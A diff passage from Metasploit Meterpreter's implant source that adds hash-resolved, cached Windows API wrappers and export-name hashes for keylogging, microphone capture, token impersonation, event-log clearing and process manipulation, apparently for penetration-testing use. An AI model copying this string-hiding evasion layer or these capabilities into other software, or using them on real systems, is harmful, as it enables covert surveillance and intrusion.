WS2_32_DLL, H_WSASocketA, + (int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags), + (af, type, protocol, lpProtocolInfo, g, dwFlags), INVALID_SOCKET) + +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_iphlpapi_CreateIpForwardEntry, WINAPI, IPHLPAPI_DLL, H_CreateIpForwardEntry, + (PMIB_IPFORWARDROW pRoute), (pRoute), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_iphlpapi_DeleteIpForwardEntry, WINAPI, IPHLPAPI_DLL, H_DeleteIpForwardEntry, + (PMIB_IPFORWARDROW pRoute), (pRoute), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_iphlpapi_GetIfEntry, WINAPI, IPHLPAPI_DLL, H_GetIfEntry, + (PMIB_IFROW pIfRow), (pIfRow), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_iphlpapi_GetIpAddrTable, WINAPI, IPHLPAPI_DLL, H_GetIpAddrTable, + (PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder), (pIpAddrTable, pdwSize, bOrder), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_iphlpapi_GetIpForwardTable, WINAPI, IPHLPAPI_DLL, H_GetIpForwardTable, + (PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, BOOL bOrder), (pIpForwardTable, pdwSize, bOrder), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(NETIO_STATUS, winapi_iphlpapi_GetIpInterfaceEntry, NETIOAPI_API_, IPHLPAPI_DLL, H_GetIpInterfaceEntry, + (PMIB_IPINTERFACE_ROW Row), (Row), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(ULONG, winapi_iphlpapi_GetIpNetTable, WINAPI, IPHLPAPI_DLL, H_GetIpNetTable, + (PMIB_IPNETTABLE IpNetTable, PULONG SizePointer, BOOL Order), (IpNetTable, SizePointer, Order), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(ULONG, winapi_iphlpapi_GetTcpTable, WINAPI, IPHLPAPI_DLL, H_GetTcpTable, + (PMIB_TCPTABLE TcpTable, PULONG SizePointer, BOOL Order), (TcpTable, SizePointer, Order), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(ULONG, winapi_iphlpapi_GetUdpTable, WINAPI, IPHLPAPI_DLL, H_GetUdpTable, + (PMIB_UDPTABLE UdpTable, PULONG SizePointer, BOOL Order), (UdpTable, SizePointer, Order), ERROR_PROC_NOT_FOUND) + +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_mpr_WNetGetUniversalNameA, WINAPI, MPR_DLL, H_WNetGetUniversalNameA, + (LPCSTR lpLocalPath, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpBufferSize), + (lpLocalPath, dwInfoLevel, lpBuffer, lpBufferSize), ERROR_PROC_NOT_FOUND) + +DEFINE_CACHED_WINAPI_WRAPPER(HRESULT, winapi_ole32_CoCreateInstance, WINAPI, OLE32_DLL, H_CoCreateInstance, + (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv), + (rclsid, pUnkOuter, dwClsContext, riid, ppv), E_NOTIMPL) +DEFINE_CACHED_WINAPI_WRAPPER(HRESULT, winapi_ole32_CoInitialize, WINAPI, OLE32_DLL, H_CoInitialize, + (LPVOID pvReserved), (pvReserved), E_NOTIMPL) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_ole32_CoUninitialize, WINAPI, OLE32_DLL, H_CoUninitialize, + (VOID), ()) + +DEFINE_CACHED_WINAPI_WRAPPER(HRESULT, winapi_oleaut32_VariantClear, WINAPI, OLEAUT32_DLL, H_VariantClear, + (VARIANTARG* pvarg), (pvarg), E_NOTIMPL) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_oleaut32_VariantInit, WINAPI, OLEAUT32_DLL, H_VariantInit, + (VARIANTARG* pvarg), (pvarg)) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_winmm_sndPlaySoundA, WINAPI, WINMM_DLL, H_sndPlaySoundA, + (LPCSTR pszSound, UINT fuSound), (pszSound, fuSound), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(MMRESULT, winapi_winmm_waveInAddBuffer, WINAPI, WINMM_DLL, H_waveInAddBuffer, + (HWAVEIN hwi, LPWAVEHDR pwh, UINT cbwh), (hwi, pwh, cbwh), MMSYSERR_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(MMRESULT, winapi_winmm_waveInOpen, WINAPI, WINMM_DLL, H_waveInOpen, + (LPHWAVEIN phwi, UINT uDeviceID, LPCWAVEFORMATEX pwfx, DWORD_PTR dwCallback, DWORD_PTR dwInstance, DWORD fdwOpen), + (phwi, uDeviceID, pwfx, dwCallback, dwInstance, fdwOpen), MMSYSERR_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(MMRESULT, winapi_winmm_waveInPrepareHeader, WINAPI, WINMM_DLL, H_waveInPrepareHeader, + (HWAVEIN hwi, LPWAVEHDR pwh, UINT cbwh), (hwi, pwh, cbwh), MMSYSERR_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(MMRESULT, winapi_winmm_waveInStart, WINAPI, WINMM_DLL, H_waveInStart, + (HWAVEIN hwi), (hwi), MMSYSERR_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(MMRESULT, winapi_winmm_waveInStop, WINAPI, WINMM_DLL, H_waveInStop, + (HWAVEIN hwi), (hwi), MMSYSERR_ERROR) + +DEFINE_CACHED_WINAPI_WRAPPER(NET_API_STATUS, winapi_netapi32_NetApiBufferFree, WINAPI, NETAPI32_DLL, H_NetApiBufferFree, + (LPVOID Buffer), (Buffer), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(NET_API_STATUS, winapi_netapi32_NetWkstaGetInfo, WINAPI, NETAPI32_DLL, H_NetWkstaGetInfo, + (LMSTR servername, DWORD level, LPBYTE* bufptr), (servername, level, bufptr), ERROR_PROC_NOT_FOUND) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_psapi_EnumDeviceDrivers, WINAPI, PSAPI_DLL, H_EnumDeviceDrivers, + (LPVOID* lpImageBase, DWORD cb, LPDWORD lpcbNeeded), (lpImageBase, cb, lpcbNeeded), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_psapi_GetDeviceDriverBaseNameW, WINAPI, PSAPI_DLL, H_GetDeviceDriverBaseNameW, + (LPVOID ImageBase, LPWSTR lpBaseName, DWORD nSize), (ImageBase, lpBaseName, nSize), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_psapi_GetDeviceDriverFileNameW, WINAPI, PSAPI_DLL, H_GetDeviceDriverFileNameW, + (LPVOID ImageBase, LPWSTR lpFilename, DWORD nSize), (ImageBase, lpFilename, nSize), 0) + +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_shlwapi_SHDeleteKeyW, WINAPI, SHLWAPI_DLL, H_SHDeleteKeyW, + (HKEY hkey, LPCWSTR pszSubKey), (hkey, pszSubKey), ERROR_PROC_NOT_FOUND) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_Process32FirstW, WINAPI, KERNEL32_DLL, H_Process32FirstW, + (HANDLE hSnapshot, LPPROCESSENTRY32W lppe), (hSnapshot, lppe), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_Process32NextW, WINAPI, KERNEL32_DLL, H_Process32NextW, + (HANDLE hSnapshot, LPPROCESSENTRY32W lppe), (hSnapshot, lppe), FALSE) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_kernel32_GetNativeSystemInfo, WINAPI, KERNEL32_DLL, H_GetNativeSystemInfo, + (LPSYSTEM_INFO lpSystemInfo), (lpSystemInfo)) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_QueryFullProcessImageNameW, WINAPI, KERNEL32_DLL, H_QueryFullProcessImageNameW, + (HANDLE hProcess, DWORD dwFlags, LPWSTR lpExeName, PDWORD lpdwSize), (hProcess, dwFlags, lpExeName, lpdwSize), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_InitializeProcThreadAttributeList, WINAPI, KERNEL32_DLL, H_InitializeProcThreadAttributeList, + (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize), + (lpAttributeList, dwAttributeCount, dwFlags, lpSize), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_UpdateProcThreadAttribute, WINAPI, KERNEL32_DLL, H_UpdateProcThreadAttribute, + (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize), + (lpAttributeList, dwFlags, Attribute, lpValue, cbSize, lpPreviousValue, lpReturnSize), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(LANGID, winapi_kernel32_GetSystemDefaultLangID, WINAPI, KERNEL32_DLL, H_GetSystemDefaultLangID, + (VOID), (), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_WTSGetActiveConsoleSessionId, WINAPI, KERNEL32_DLL, H_WTSGetActiveConsoleSessionId, + (VOID), (), 0) +DEFINE_CACHED_WINAPI_ADDRESS_GETTER(winapi_kernel32_GetLoadLibraryAExportAddress, KERNEL32_DLL, H_LoadLibraryA) +DEFINE_CACHED_WINAPI_ADDRESS_GETTER(winapi_kernel32_GetProcAddressExportAddress, KERNEL32_DLL, H_GetProcAddress) +DEFINE_CACHED_WINAPI_ADDRESS_GETTER(winapi_kernel32_GetFreeLibraryExportAddress, KERNEL32_DLL, H_FreeLibrary) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CreateProcessWithTokenW, WINAPI, ADVAPI32_DLL, H_CreateProcessWithTokenW, + (HANDLE hToken, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation), + (hToken, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation), FALSE) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_GetLastInputInfo, WINAPI, USER32_DLL, H_GetLastInputInfo, + (PLASTINPUTINFO plii), (plii), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(UINT, winapi_user32_GetRawInputData, WINAPI, USER32_DLL, H_GetRawInputData, + (HRAWINPUT hRawInput, UINT uiCommand, LPVOID pData, PUINT pcbSize, UINT cbSizeHeader), + (hRawInput, uiCommand, pData, pcbSize, cbSizeHeader), (UINT)-1) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_RegisterRawInputDevices, WINAPI, USER32_DLL, H_RegisterRawInputDevices, + (PCRAWINPUTDEVICE pRawInputDevices, UINT uiNumDevices, UINT cbSize), + (pRawInputDevices, uiNumDevices, cbSize), FALSE) + +DEFINE_CACHED_WINAPI_WRAPPER(ULONG, winapi_iphlpapi_GetAdaptersAddresses, WINAPI, IPHLPAPI_DLL, H_GetAdaptersAddresses, + (ULONG Family, ULONG Flags, PVOID Reserved, PIP_ADAPTER_ADDRESSES AdapterAddresses, PULONG SizePointer), + (Family, Flags, Reserved, AdapterAddresses, SizePointer), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_iphlpapi_GetExtendedTcpTable, WINAPI, IPHLPAPI_DLL, H_GetExtendedTcpTable, + (PVOID pTcpTable, PDWORD pdwSize, BOOL bOrder, ULONG ulAf, TCP_TABLE_CLASS TableClass, ULONG Reserved), + (pTcpTable, pdwSize, bOrder, ulAf, TableClass, Reserved), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_iphlpapi_GetExtendedUdpTable, WINAPI, IPHLPAPI_DLL, H_GetExtendedUdpTable, + (PVOID pUdpTable, PDWORD pdwSize, BOOL bOrder, ULONG ulAf, UDP_TABLE_CLASS TableClass, ULONG Reserved), + (pUdpTable, pdwSize, bOrder, ulAf, TableClass, Reserved), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_iphlpapi_FreeMibTable, NETIOAPI_API_, IPHLPAPI_DLL, H_FreeMibTable, + (PVOID Memory), (Memory)) +DEFINE_CACHED_WINAPI_WRAPPER(NETIO_STATUS, winapi_iphlpapi_GetIpForwardTable2, NETIOAPI_API_, IPHLPAPI_DLL, H_GetIpForwardTable2, + (ADDRESS_FAMILY Family, PMIB_IPFORWARD_TABLE2* Table), (Family, Table), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_iphlpapi_GetBestInterface, WINAPI, IPHLPAPI_DLL, H_GetBestInterface, + (IPAddr dwDestAddr, PDWORD pdwBestIfIndex), (dwDestAddr, pdwBestIfIndex), ERROR_PROC_NOT_FOUND) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_psapi_EnumProcesses, WINAPI, PSAPI_DLL, H_EnumProcesses, + (DWORD* lpidProcess, DWORD cb, LPDWORD lpcbNeeded), (lpidProcess, cb, lpcbNeeded), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_psapi_EnumProcessModules, WINAPI, PSAPI_DLL, H_EnumProcessModules, + (HANDLE hProcess, HMODULE* lphModule, DWORD cb, LPDWORD lpcbNeeded), + (hProcess, lphModule, cb, lpcbNeeded), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_psapi_GetModuleBaseNameA, WINAPI, PSAPI_DLL, H_GetModuleBaseNameA, + (HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize), + (hProcess, hModule, lpBaseName, nSize), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_psapi_GetModuleBaseNameW, WINAPI, PSAPI_DLL, H_GetModuleBaseNameW, + (HANDLE hProcess, HMODULE hModule, LPWSTR lpBaseName, DWORD nSize), + (hProcess, hModule, lpBaseName, nSize), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_psapi_GetModuleFileNameExA, WINAPI, PSAPI_DLL, H_GetModuleFileNameExA, + (HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize), + (hProcess, hModule, lpFilename, nSize), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_psapi_GetModuleFileNameExW, WINAPI, PSAPI_DLL, H_GetModuleFileNameExW, + (HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize), + (hProcess, hModule, lpFilename, nSize), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_psapi_GetProcessImageFileNameW, WINAPI, PSAPI_DLL, H_GetProcessImageFileNameW, + (HANDLE hProcess, LPWSTR lpImageFileName, DWORD nSize), + (hProcess, lpImageFileName, nSize), 0) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_userenv_CreateEnvironmentBlock, WINAPI, USERENV_DLL, H_CreateEnvironmentBlock, + (LPVOID* lpEnvironment, HANDLE hToken, BOOL bInherit), (lpEnvironment, hToken, bInherit), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_userenv_DestroyEnvironmentBlock, WINAPI, USERENV_DLL, H_DestroyEnvironmentBlock, + (LPVOID lpEnvironment), (lpEnvironment), FALSE) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_wtsapi32_WTSQueryUserToken, WINAPI, WTSAPI32_DLL, H_WTSQueryUserToken, + (ULONG SessionId, PHANDLE phToken), (SessionId, phToken), FALSE) + +DEFINE_CACHED_WINAPI_WRAPPER(HRESULT, winapi_query_LocateCatalogsW, WINAPI, QUERY_DLL, H_LocateCatalogsW, + (LPCWSTR pwszScope, ULONG iBmk, LPWSTR pwszMachine, PULONG pcMachine, LPWSTR pwszCatalog, PULONG pcCatalog), + (pwszScope, iBmk, pwszMachine, pcMachine, pwszCatalog, pcCatalog), E_NOTIMPL) +DEFINE_CACHED_WINAPI_WRAPPER(HRESULT, winapi_query_CIMakeICommand, WINAPI, QUERY_DLL, H_CIMakeICommand, + (PVOID* ppCommand, ULONG cScope, DWORD* pdwDepths, LPWSTR* ppwszScopes, LPWSTR* ppwszCatalogs, LPWSTR* ppwszMachines), + (ppCommand, cScope, pdwDepths, ppwszScopes, ppwszCatalogs, ppwszMachines), E_NOTIMPL) +DEFINE_CACHED_WINAPI_WRAPPER(HRESULT, winapi_query_CITextToFullTree, WINAPI, QUERY_DLL, H_CITextToFullTree, + (LPCWSTR pwszRestriction, LPCWSTR pwszColumns, LPCWSTR pwszSortColumns, LPCWSTR pwszGroupings, PVOID* ppTree, ULONG cProperties, LPVOID* pPropertyDefinitions, LCID LocaleID), + (pwszRestriction, pwszColumns, pwszSortColumns, pwszGroupings, ppTree, cProperties, pPropertyDefinitions, LocaleID), E_NOTIMPL) + +// END: expanded stdapi surface #endif diff --git a/c/meterpreter/source/metsrv/winapi.h b/c/meterpreter/source/metsrv/winapi.h index 18a76eec6..5921006c5 100644 --- a/c/meterpreter/source/metsrv/winapi.h +++ b/c/meterpreter/source/metsrv/winapi.h @@ -2,6 +2,7 @@ #define _METERPRETER_WINAPI_H #ifndef _METERPRETER_COMMON_WINAPI_H +#include #include // For SOCKET, WSADATA, sockaddr, WSAPROTOCOL_INFOA #include // For ADDRINFOA / PADDRINFOA #include @@ -16,6 +17,15 @@ #include // For HCRYPTPROV, HCRYPTKEY, PTOKEN_PRIVILEGES, etc. #include // For UUID generation. #include +#include +#include +#include +#include +#include +#include +#include +#include +#include typedef enum _MEMORY_INFORMATION_CLASS { MemoryBasicInformation } MEMORY_INFORMATION_CLASS; @@ -46,6 +56,23 @@ typedef VOID WINHTTP_PROXY_INFO; // without adding a static string to the binary (e.g. libloader splice-hooks). FARPROC WINAPI GetProcAddressH(HANDLE hModule, DWORD dwFunctionHash); +// A zero-initialized cache for one export from a system DLL. The first lookup +// retains the requested module and the final forwarded-export module, then +// publishes success or failure permanently; contending callers resolve without +// waiting. +// GetFunctionHCached preserves the calling thread's last-error value. Optional +// system exports are supported because their availability cannot change while +// the retained module is loaded. Do not reuse one cache for more than one +// module/hash pair or for a module that is expected to appear later at runtime. +typedef struct _WinApiFunctionCache { + volatile LONG state; + FARPROC volatile function; +} WinApiFunctionCache; + +#define WINAPI_FUNCTION_CACHE_INIT { 0, NULL } + +FARPROC GetFunctionHCached(WinApiFunctionCache* cache, LPCSTR moduleName, DWORD functionHash); + // Compile-time hashes of the exports the wrappers below resolve. Exposed // here so other TUs can pass them to GetProcAddressH without repeating the // literal function-name strings. @@ -53,6 +80,7 @@ enum HashedFunctions { H_ZwAllocateVirtualMemory = 0xD33D4AED, H_ZwOpenProcess = 0xF0D09D60, H_ZwWriteVirtualMemory = 0xC5D0A4C2, + H_ZwFlushInstructionCache = 0x534D8AE8, H_ZwReadVirtualMemory = 0x3DEFA5C2, H_ZwProtectVirtualMemory = 0xBC3F4D89, H_ZwQueryVirtualMemory = 0x4FD39C92, @@ -60,6 +88,7 @@ enum HashedFunctions { H_ZwQueueApcThread = 0xD2E9B347, H_ZwOpenThread = 0x197D1E8D, H_RtlGetVersion = 0xD0C1869C, + H_RtlNtStatusToDosError = 0x651BD789, H_WriteProcessMemory = 0xD83D6AA1, H_ReadProcessMemory = 0x579D1BE9, H_OpenProcess = 0xEFE297C0, @@ -212,18 +241,212 @@ enum HashedFunctions { H_HttpQueryInfoA = 0xFB2F45FA, H_CryptBinaryToStringA = 0x7CC2AAAF, H_CryptStringToBinaryA = 0xF29E1FE8, + H_GetLastError = 0x75DA1966, + H_CryptCreateHash = 0x4105A130, + H_CryptDestroyHash = 0x25D4AE7A, + H_CryptGetHashParam = 0xC7AFB4A9, + H_CryptHashData = 0xC2122629, + H_CopyFileW = 0x99EC8974, + H_CreateDirectoryW = 0x9FCF597B, + H_DeleteFileA = 0xC2FFB025, + H_DeleteFileW = 0xC2FFB03B, + H_DisconnectNamedPipe = 0xDC7CCD45, + H_ExpandEnvironmentStringsA = 0xEEB585D8, + H_ExpandEnvironmentStringsW = 0xEEB585EE, + H_FileTimeToSystemTime = 0x3810CB0F, + H_FindClose = 0x23545978, + H_FindFirstFileW = 0x63D6C07B, + H_FindNextFileW = 0xA5E1ACAD, + H_FindResourceA = 0x3BD09A55, + H_GetCurrentDirectoryW = 0xBFC6EB65, + H_GetCurrentProcessId = 0xE60DFA02, + H_GetDateFormatW = 0xF72A53D0, + H_GetDiskFreeSpaceExA = 0xCB2210, + H_GetDriveTypeA = 0xE9D18E21, + H_GetDriveTypeW = 0xE9D18E37, + H_GetExitCodeThread = 0x1B3F95F9, + H_GetFileAttributesA = 0x56F7390A, + H_GetFileAttributesExW = 0xC18E43EC, + H_GetFileAttributesW = 0x56F73920, + H_GetHandleInformation = 0x7F9DF944, + H_GetLogicalDriveStringsA = 0x79B4095D, + H_GetLogicalDrives = 0x14C22B19, + H_GetProcAddress = 0x7C0DFCAA, + H_GetSystemDefaultLCID = 0x7695E96B, + H_GetTickCount = 0xF791FB23, + H_GetTimeFormatW = 0xF02A93D4, + H_GetVersionExA = 0xC75FC483, + H_LoadResource = 0x934E1F7B, + H_LockResource = 0x9A4E2F7B, + H_OutputDebugStringW = 0x470D22D2, + H_MoveFileW = 0xA404896A, + H_RemoveDirectoryW = 0x83D3265D, + H_SetCurrentDirectoryW = 0xBFC70365, + H_SetFileAttributesW = 0x56F73980, + H_SetLastError = 0x75F21966, + H_SizeofResource = 0x3F2A9609, + H_lstrcmpiW = 0x4B1E5AF1, + H_lstrcpyW = 0xCB9B4A11, + H_lstrlenA = 0xDD43473B, + H_lstrlenW = 0xDD434751, + H_RevertToSelf = 0x50DEC82A, + H_CloseDesktop = 0xCE18D25E, + H_CloseWindowStation = 0xEF8D2D7A, + H_CreateWindowExA = 0x84454941, + H_DefWindowProcA = 0xB9A87723, + H_DestroyWindow = 0x94305BE0, + H_DispatchMessageA = 0x690A1701, + H_EnumChildWindows = 0x94260FDB, + H_EnumDesktopsA = 0xE84AD584, + H_EnumWindowStationsA = 0xDD24D8F5, + H_ExitWindowsEx = 0x89DABEF5, + H_GetAsyncKeyState = 0x2B245A7A, + H_GetForegroundWindow = 0x6215F501, + H_GetKeyboardState = 0xB73BFDCF, + H_GetKeyNameTextW = 0x10745604, + H_GetKeyState = 0xA13C7A54, + H_GetMessageA = 0x7AC67BED, + H_GetSystemMetrics = 0xA84AA1DC, + H_GetWindowThreadProcessId = 0xA3E2C997, + H_MapVirtualKeyA = 0x35063658, + H_OpenDesktopA = 0xDBBBFCD7, + H_OpenWindowStationA = 0x9B189FC0, + H_RegisterClassExA = 0x51E20CCA, + H_SendInput = 0x3464B947, + H_SendMessageA = 0xEB6CC3F4, + H_SetProcessWindowStation = 0x1337502D, + H_SetThreadDesktop = 0xD6641B8A, + H_SwitchDesktop = 0xFE80FFED, + H_ToUnicodeEx = 0xA0D68FBF, + H_TranslateMessage = 0x8FDE2C7E, + H_UnregisterClassA = 0xD53A4038, + H_wvsprintfW = 0x56FA73F1, + H_getsockname = 0x952DFF51, + H_ntohs = 0xEB46FC33, + H_recvfrom = 0x51138B5F, + H_sendto = 0x5FA669A9, + H_shutdown = 0x4D5F6AC9, + H_WSAAddressToStringA = 0x535B7BB9, + H_WSACleanup = 0x19BD2C47, + H_WSACreateEvent = 0xC24A0B48, + H_WSAEventSelect = 0x2DF42CE0, + H_WSASetLastError = 0x9F737976, + H_WSASocketA = 0xADF509D9, + H_CreateIpForwardEntry = 0xDA4F2E1E, + H_DeleteIpForwardEntry = 0xD7133056, + H_GetIfEntry = 0x45BAB42D, + H_GetIpAddrTable = 0x6C60EC01, + H_GetIpForwardTable = 0xC385CC60, + H_GetIpInterfaceEntry = 0x5EC1D3F7, + H_GetIpNetTable = 0x37C5AF6D, + H_GetTcpTable = 0xFAF48BAF, + H_GetUdpTable = 0xFAF88BCF, + H_WNetGetUniversalNameA = 0xD8FA8C8, + H_CoCreateInstance = 0x6E26C880, + H_CoInitialize = 0x8C2E8016, + H_CoUninitialize = 0x6DD38706, + H_VariantClear = 0x8673E625, + H_VariantInit = 0x88D67161, + H_sndPlaySoundA = 0xDBE99F54, + H_waveInAddBuffer = 0x830ECA06, + H_waveInOpen = 0x83C6C353, + H_waveInPrepareHeader = 0x5DE12405, + H_waveInStart = 0x22BC5DAA, + H_waveInStop = 0x8C16C455, + H_FormatMessageA = 0x1EAA62E7, + H_CreatePipe = 0x170C8F80, + H_CreateProcessW = 0x16B3FE88, + H_GetComputerNameA = 0x96A4228F, + H_GetCurrentProcess = 0x7B8F17E6, + H_GetCurrentThread = 0xE8CDCFE4, + H_GetEnvironmentVariableW = 0xF2E1A979, + H_GetLocalTime = 0xB98C88CF, + H_GetLocaleInfoA = 0xE8983477, + H_GetThreadContext = 0x68A7C7D2, + H_GetTimeZoneInformation = 0x51268313, + H_SetThreadContext = 0xE8A7C7D3, + H_TerminateProcess = 0x78B5B983, + H_VirtualLock = 0xEF632F2, + H_VirtualUnlock = 0x52A4ADF3, + H_WaitForSingleObjectEx = 0x839E6BEB, + H_ClearEventLogA = 0x442101D1, + H_CloseEventLog = 0x93329886, + H_ConvertSidToStringSidA = 0xA20AE292, + H_CreateProcessAsUserW = 0x635DC4A1, + H_DuplicateTokenEx = 0x3A55BBB2, + H_GetNumberOfEventLogRecords = 0xFD988251, + H_GetOldestEventLogRecord = 0x761A13FB, + H_GetTokenInformation = 0xDBDB6E5A, + H_LookupAccountSidW = 0x64AC441D, + H_LookupPrivilegeValueA = 0x97E8C2A2, + H_OpenEventLogA = 0x22B6E002, + H_ReadEventLogA = 0x22A09031, + H_RegCloseKey = 0x35E273E6, + H_RegConnectRegistryW = 0x2C21BFD6, + H_RegCreateKeyExW = 0x8B64E6CA, + H_RegDeleteKeyW = 0xC12E9C8B, + H_RegDeleteValueW = 0xB4CEEACC, + H_RegEnumKeyW = 0x28A1A87, + H_RegEnumValueW = 0xBAE699D, + H_RegLoadKeyW = 0x28D8B5D, + H_RegOpenKeyExW = 0xA84AEB97, + H_RegQueryInfoKeyA = 0xC8F63C08, + H_RegQueryInfoKeyW = 0xC8F63C1E, + H_RegQueryValueExW = 0xFCBA95C1, + H_RegSetValueExW = 0x2D1C9AF3, + H_RegUnLoadKeyW = 0x4A571082, + H_NetApiBufferFree = 0xC0AAF20C, + H_NetWkstaGetInfo = 0x7D863F9D, + H_EnumDeviceDrivers = 0xCB3AD6F8, + H_GetDeviceDriverBaseNameW = 0x9E77D81, + H_GetDeviceDriverFileNameW = 0xDCB7E81, + H_SHDeleteKeyW = 0x10A9764, + H_ZwUnmapViewOfSection = 0xF2D04FD0, + H_Process32FirstW = 0xD53992A4, + H_Process32NextW = 0x2A523C0A, + H_GetNativeSystemInfo = 0xDD2B205D, + H_QueryFullProcessImageNameW = 0xF660F694, + H_InitializeProcThreadAttributeList = 0xDE64CEFF, + H_UpdateProcThreadAttribute = 0x41E5D7CB, + H_GetSystemDefaultLangID = 0xF1C443E1, + H_WTSGetActiveConsoleSessionId = 0x3C795949, + H_GetLastInputInfo = 0x3ABEA2D0, + H_GetRawInputData = 0xC99041F4, + H_RegisterRawInputDevices = 0x49AEAE6F, + H_CreateProcessWithTokenW = 0xE40B58F7, + H_GetAdaptersAddresses = 0x7E0F2EF6, + H_GetExtendedTcpTable = 0x18067538, + H_GetExtendedUdpTable = 0x180A7558, + H_FreeMibTable = 0xAC988AD3, + H_GetIpForwardTable2 = 0x63061C60, + H_GetBestInterface = 0x74BE7EDE, + H_EnumProcesses = 0xFBC9E812, + H_EnumProcessModules = 0x6AB34F7B, + H_GetModuleBaseNameA = 0x41CC6C76, + H_GetModuleBaseNameW = 0x41CC6C8C, + H_GetModuleFileNameExA = 0x6FDB5ED2, + H_GetModuleFileNameExW = 0x6FDB5EE8, + H_GetProcessImageFileNameW = 0xF763EC93, + H_CreateEnvironmentBlock = 0x1E84C562, + H_DestroyEnvironmentBlock = 0x32E9E44A, + H_WTSQueryUserToken = 0x6167853F, + H_LocateCatalogsW = 0xDEB544B5, + H_CIMakeICommand = 0x25A04EA5, + H_CITextToFullTree = 0xA6F6B051, }; NTSTATUS winapi_ntdll_ZwAllocateVirtualMemory(HANDLE hProcess, PVOID* pBaseAddress, ULONG_PTR pZeroBits, PSIZE_T pRegionSize, ULONG ulAllocationType, ULONG ulProtect); NTSTATUS winapi_ntdll_ZwOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); -NTSTATUS winapi_ntdll_ZwWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten); -NTSTATUS winapi_ntdll_ZwReadVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG 